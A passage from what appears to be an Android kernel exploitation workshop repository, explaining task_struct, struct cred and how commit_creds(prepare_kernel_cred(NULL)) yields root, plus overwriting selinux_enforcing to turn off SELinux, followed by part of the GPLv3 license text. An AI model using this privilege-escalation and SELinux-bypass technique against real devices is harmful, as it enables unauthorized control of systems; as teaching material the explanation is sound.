CONFIG_NUMA 446 | /* Protected by alloc_lock: */ 447 | struct mempolicy *mempolicy; 448 | short il_prev; 449 | short pref_node_fork; 450 | #endif 451 | #ifdef CONFIG_NUMA_BALANCING 452 | int numa_scan_seq; 453 | unsigned int numa_scan_period; 454 | unsigned int numa_scan_period_max; 455 | int numa_preferred_nid; 456 | unsigned long numa_migrate_retry; 457 | /* Migration stamp: */ 458 | u64 node_stamp; 459 | u64 last_task_numa_placement; 460 | u64 last_sum_exec_runtime; 461 | struct callback_head numa_work; 462 | 463 | struct list_head numa_entry; 464 | struct numa_group *numa_group; 465 | 466 | /* 467 | * numa_faults is an array split into four regions: 468 | * faults_memory, faults_cpu, faults_memory_buffer, faults_cpu_buffer 469 | * in this precise order. 470 | * 471 | * faults_memory: Exponential decaying average of faults on a per-node 472 | * basis. Scheduling placement decisions are made based on these 473 | * counts. The values remain static for the duration of a PTE scan. 474 | * faults_cpu: Track the nodes the process was running on when a NUMA 475 | * hinting fault was incurred. 476 | * faults_memory_buffer and faults_cpu_buffer: Record faults per node 477 | * during the current scan window. When the scan completes, the counts 478 | * in faults_memory and faults_cpu decay and these values are copied. 479 | */ 480 | unsigned long *numa_faults; 481 | unsigned long total_numa_faults; 482 | 483 | /* 484 | * numa_faults_locality tracks if faults recorded during the last 485 | * scan window were remote/local or failed to migrate. The task scan 486 | * period is adapted based on the locality of the faults with different 487 | * weights depending on whether they were shared or private faults 488 | */ 489 | unsigned long numa_faults_locality[3]; 490 | 491 | unsigned long numa_pages_migrated; 492 | #endif /* CONFIG_NUMA_BALANCING */ 493 | 494 | struct tlbflush_unmap_batch tlb_ubc; 495 | 496 | struct rcu_head rcu; 497 | 498 | /* Cache last used pipe for splice(): */ 499 | struct pipe_inode_info *splice_pipe; 500 | 501 | struct page_frag task_frag; 502 | 503 | #ifdef CONFIG_TASK_DELAY_ACCT 504 | struct task_delay_info *delays; 505 | #endif 506 | 507 | #ifdef CONFIG_FAULT_INJECTION 508 | int make_it_fail; 509 | unsigned int fail_nth; 510 | #endif 511 | /* 512 | * When (nr_dirtied >= nr_dirtied_pause), it's time to call 513 | * balance_dirty_pages() for a dirty throttling pause: 514 | */ 515 | int nr_dirtied; 516 | int nr_dirtied_pause; 517 | /* Start of a write-and-pause period: */ 518 | unsigned long dirty_paused_when; 519 | 520 | #ifdef CONFIG_LATENCYTOP 521 | int latency_record_count; 522 | struct latency_record latency_record[LT_SAVECOUNT]; 523 | #endif 524 | /* 525 | * Time slack values; these are used to round up poll() and 526 | * select() etc timeout values. These are in nanoseconds. 527 | */ 528 | u64 timer_slack_ns; 529 | u64 default_timer_slack_ns; 530 | 531 | #ifdef CONFIG_KASAN 532 | unsigned int kasan_depth; 533 | #endif 534 | 535 | #ifdef CONFIG_FUNCTION_GRAPH_TRACER 536 | /* Index of current stored address in ret_stack: */ 537 | int curr_ret_stack; 538 | 539 | /* Stack of return addresses for return function tracing: */ 540 | struct ftrace_ret_stack *ret_stack; 541 | 542 | /* Timestamp for last schedule: */ 543 | unsigned long long ftrace_timestamp; 544 | 545 | /* 546 | * Number of functions that haven't been traced 547 | * because of depth overrun: 548 | */ 549 | atomic_t trace_overrun; 550 | 551 | /* Pause tracing: */ 552 | atomic_t tracing_graph_pause; 553 | #endif 554 | 555 | #ifdef CONFIG_TRACING 556 | /* State flags for use by tracers: */ 557 | unsigned long trace; 558 | 559 | /* Bitmask and counter of trace recursion: */ 560 | unsigned long trace_recursion; 561 | #endif /* CONFIG_TRACING */ 562 | 563 | #ifdef CONFIG_KCOV 564 | /* Coverage collection mode enabled for this task (0 if disabled): */ 565 | enum kcov_mode kcov_mode; 566 | 567 | /* Size of the kcov_area: */ 568 | unsigned int kcov_size; 569 | 570 | /* Buffer for coverage collection: */ 571 | void *kcov_area; 572 | 573 | /* KCOV descriptor wired with this task or NULL: */ 574 | struct kcov *kcov; 575 | #endif 576 | 577 | #ifdef CONFIG_MEMCG 578 | struct mem_cgroup *memcg_in_oom; 579 | gfp_t memcg_oom_gfp_mask; 580 | int memcg_oom_order; 581 | 582 | /* Number of pages to reclaim on returning to userland: */ 583 | unsigned int memcg_nr_pages_over_high; 584 | #endif 585 | 586 | #ifdef CONFIG_UPROBES 587 | struct uprobe_task *utask; 588 | #endif 589 | #if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE) 590 | unsigned int sequential_io; 591 | unsigned int sequential_io_avg; 592 | #endif 593 | #ifdef CONFIG_DEBUG_ATOMIC_SLEEP 594 | unsigned long task_state_change; 595 | #endif 596 | int pagefault_disabled; 597 | #ifdef CONFIG_MMU 598 | struct task_struct *oom_reaper_list; 599 | #endif 600 | #ifdef CONFIG_VMAP_STACK 601 | struct vm_struct *stack_vm_area; 602 | #endif 603 | #ifdef CONFIG_THREAD_INFO_IN_TASK 604 | /* A live task holds one reference: */ 605 | atomic_t stack_refcount; 606 | #endif 607 | #ifdef CONFIG_LIVEPATCH 608 | int patch_state; 609 | #endif 610 | #ifdef CONFIG_SECURITY 611 | /* Used by LSM modules for access restriction: */ 612 | void *security; 613 | #endif 614 | 615 | /* 616 | * New fields for task_struct should be added above here, so that 617 | * they are included in the randomized portion of task_struct. 618 | */ 619 | randomized_struct_fields_end 620 | 621 | /* CPU-specific state of this task: */ 622 | struct thread_struct thread; 623 | 624 | /* 625 | * WARNING: on x86, 'thread_struct' contains a variable-sized 626 | * structure. It *MUST* be at the end of 'task_struct'. 627 | * 628 | * Do not put anything below here! 629 | */ 630 | }; 631 | ``` 632 | 633 | This data structure contains all the information to manage a process. One of the interesting members in this `task_struct` structure is `cred`. 634 | 635 | 636 | ## Process Credentials {#process-credentials} 637 | 638 | The **security context** of a task is defined by `struct cred` and is defined in `include/linux/cred.h`. 639 | 640 | ```c 641 | struct cred { 642 | atomic_t usage; 643 | #ifdef CONFIG_DEBUG_CREDENTIALS 644 | atomic_t subscribers; /* number of processes subscribed */ 645 | void *put_addr; 646 | unsigned magic; 647 | #define CRED_MAGIC 0x43736564 648 | #define CRED_MAGIC_DEAD 0x44656144 649 | #endif 650 | kuid_t uid; /* real UID of the task */ 651 | kgid_t gid; /* real GID of the task */ 652 | kuid_t suid; /* saved UID of the task */ 653 | kgid_t sgid; /* saved GID of the task */ 654 | kuid_t euid; /* effective UID of the task */ 655 | kgid_t egid; /* effective GID of the task */ 656 | kuid_t fsuid; /* UID for VFS ops */ 657 | kgid_t fsgid; /* GID for VFS ops */ 658 | unsigned securebits; /* SUID-less security management */ 659 | kernel_cap_t cap_inheritable; /* caps our children can inherit */ 660 | kernel_cap_t cap_permitted; /* caps we're permitted */ 661 | kernel_cap_t cap_effective; /* caps we can actually use */ 662 | kernel_cap_t cap_bset; /* capability bounding set */ 663 | kernel_cap_t cap_ambient; /* Ambient capability set */ 664 | #ifdef CONFIG_KEYS 665 | unsigned char jit_keyring; /* default keyring to attach requested 666 | * keys to */ 667 | struct key __rcu *session_keyring; /* keyring inherited over fork */ 668 | struct key *process_keyring; /* keyring private to this process */ 669 | struct key *thread_keyring; /* keyring private to this thread */ 670 | struct key *request_key_auth; /* assumed request_key authority */ 671 | #endif 672 | #ifdef CONFIG_SECURITY 673 | void *security; /* subjective LSM security */ 674 | #endif 675 | struct user_struct *user; /* real user ID subscription */ 676 | struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ 677 | struct group_info *group_info; /* supplementary groups for euid/fsgid */ 678 | /* RCU deletion */ 679 | union { 680 | int non_rcu; /* Can we skip RCU deletion? */ 681 | struct rcu_head rcu; /* RCU deletion hook */ 682 | }; 683 | } __randomize_layout; 684 | ``` 685 | 686 | In most of the Linux **kernel exploits**, you must have seen that to achieve `root` they use 687 | 688 | ```c 689 | commit_creds(prepare_kernel_cred(NULL)); 690 | ``` 691 | 692 | Let's try to look into these two functions and see what they do. First, let's look into `prepare_kernel_cred` function which is defined in `kernel/cred.c`. 693 | 694 | ```c 695 | struct cred *prepare_kernel_cred(struct task_struct *daemon) 696 | { 697 | const struct cred *old; 698 | struct cred *new; 699 | 700 | new = kmem_cache_alloc(cred_jar, GFP_KERNEL); 701 | if (!new) 702 | return NULL; 703 | 704 | kdebug("prepare_kernel_cred() alloc %p", new); 705 | 706 | if (daemon) 707 | old = get_task_cred(daemon); 708 | else 709 | old = get_cred(&init_cred); 710 | 711 | validate_creds(old); 712 | 713 | *new = *old; 714 | [...] 715 | validate_creds(new); 716 | return new; 717 | 718 | error: 719 | [...] 720 | return NULL; 721 | } 722 | ``` 723 | 724 | This function basically take a pointer `task_struct` for which we want to prepare *kernel credentials*. The important part of the function is that if we provide `NULL` as the pointer to `task_struct` it will get the default credentials which is `init_cred`. `init_cred` is a global `struct cred` defined in `kernel/cred.c` which is used to initialize the credentials for the `init_task` which is the first **task** in Linux. 725 | 726 | ```c 727 | /* 728 | * The initial credentials for the initial task 729 | */ 730 | struct cred init_cred = { 731 | .usage = ATOMIC_INIT(4), 732 | #ifdef CONFIG_DEBUG_CREDENTIALS 733 | .subscribers = ATOMIC_INIT(2), 734 | .magic = CRED_MAGIC, 735 | #endif 736 | .uid = GLOBAL_ROOT_UID, 737 | .gid = GLOBAL_ROOT_GID, 738 | .suid = GLOBAL_ROOT_UID, 739 | .sgid = GLOBAL_ROOT_GID, 740 | .euid = GLOBAL_ROOT_UID, 741 | .egid = GLOBAL_ROOT_GID, 742 | .fsuid = GLOBAL_ROOT_UID, 743 | .fsgid = GLOBAL_ROOT_GID, 744 | .securebits = SECUREBITS_DEFAULT, 745 | .cap_inheritable = CAP_EMPTY_SET, 746 | .cap_permitted = CAP_FULL_SET, 747 | .cap_effective = CAP_FULL_SET, 748 | .cap_bset = CAP_FULL_SET, 749 | .user = INIT_USER, 750 | .user_ns = &init_user_ns, 751 | .group_info = &init_groups, 752 | }; 753 | ``` 754 | 755 | Let's look at what these defines mean. 756 | 757 | ```c 758 | #define GLOBAL_ROOT_UID (uint32_t)0 759 | #define GLOBAL_ROOT_GID (uint32_t)0 760 | #define SECUREBITS_DEFAULT (uint32_t)0x00000000 761 | #define CAP_EMPTY_SET (uint64_t)0 762 | #define CAP_FULL_SET (uint64_t)0x3FFFFFFFFF 763 | ``` 764 | 765 | `init_cred` basically sets the `cred` structure as shown below. 766 | 767 | ```c 768 | cred->uid = 0; 769 | cred->gid = 0; 770 | cred->suid = 0; 771 | cred->idid = 0; 772 | cred->euid = 0; 773 | cred->egid = 0; 774 | cred->fsuid = 0; 775 | cred->fsgid = 0; 776 | cred->securebits = 0; 777 | cred->cap_inheritable.cap[0] = 0; 778 | cred->cap_inheritable.cap[1] = 0; 779 | cred->cap_permitted.cap[0] = 0x3F; 780 | cred->cap_permitted.cap[1] = 0xFFFFFFFF; 781 | cred->cap_effective.cap[0] = 0x3F; 782 | cred->cap_effective.cap[1] = 0xFFFFFFFF; 783 | cred->cap_bset.cap[0] = 0x3F; 784 | cred->cap_bset.cap[1] = 0xFFFFFFFF; 785 | cred->cap_ambient.cap[0] = 0; 786 | cred->cap_ambient.cap[1] = 0; 787 | ``` 788 | 789 | Let's look at the `commit_creds` function and try to understand what it does. 790 | 791 | ```c 792 | int commit_creds(struct cred *new) 793 | { 794 | struct task_struct *task = current; 795 | const struct cred *old = task->real_cred; 796 | 797 | [...] 798 | 799 | rcu_assign_pointer(task->real_cred, new); 800 | rcu_assign_pointer(task->cred, new); 801 | 802 | [...] 803 | 804 | return 0; 805 | } 806 | ``` 807 | 808 | `commit_creds` basically sets the `task->real_cred` and `task->cred` with the pointer to new `cred` structure. However, as we had passed `NULL` to `prepare_kernel_cred` address of `init_cred`. 809 | 810 | This is how we get `root` and this basically means **privilege escalation** 811 | 812 | 813 | ## SELinux {#selinux} 814 | 815 | **Security-Enhanced Linux** was developed by **National Security Agency (NSA)** using **Linux Security Modules (LSM)**. 816 | 817 | There are two modes of **SELinux** 818 | 819 | * **permissive** - permission denials are *logged* but not *enforced* 820 | * **enforcing** - permission denials are *logged* and *enforced* 821 | 822 | In **Android** the default mode of **SELinux** is **enforcing** and even if we get **root**, we are subjected to **SELinux** rules. 823 | 824 | ```bash 825 | generic_x86_64:/ $ getenforce 826 | Enforcing 827 | ``` 828 | 829 | So, we need to disable **SELinux** as well. 830 | 831 | 832 | ### selinux_enforcing {#selinux-enforcing} 833 | 834 | `selinux_enforcing` is a global variable which dictates whether **SELinux** is **enforced** or **not**. If we can figure out where `selinux_enforcing` is in memory and set it to `NULL`, then we can disable **SELinux** globally and now **SELinux** will be in **permissive** mode instead of **enforcing** mode. 835 | 836 | 837 | ## SecComp {#seccomp} 838 | 839 | **SecComp** stands for **Secure Computing** mode and is a Linux kernel feature that allows to **filter system calls**. When enabled, the process can only make **four** system calls `read()`, `write()`, `exit()`, and `sigreturn()`. 840 | 841 | When running the **exploit** from `adb` shell we are not subjected to **seccomp**. However, if we bundle the **exploit** in an **Android** application, we would be subjected to **seccomp**. 842 | 843 | In this workshop, we are not going to look at **seccomp**. 844 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, 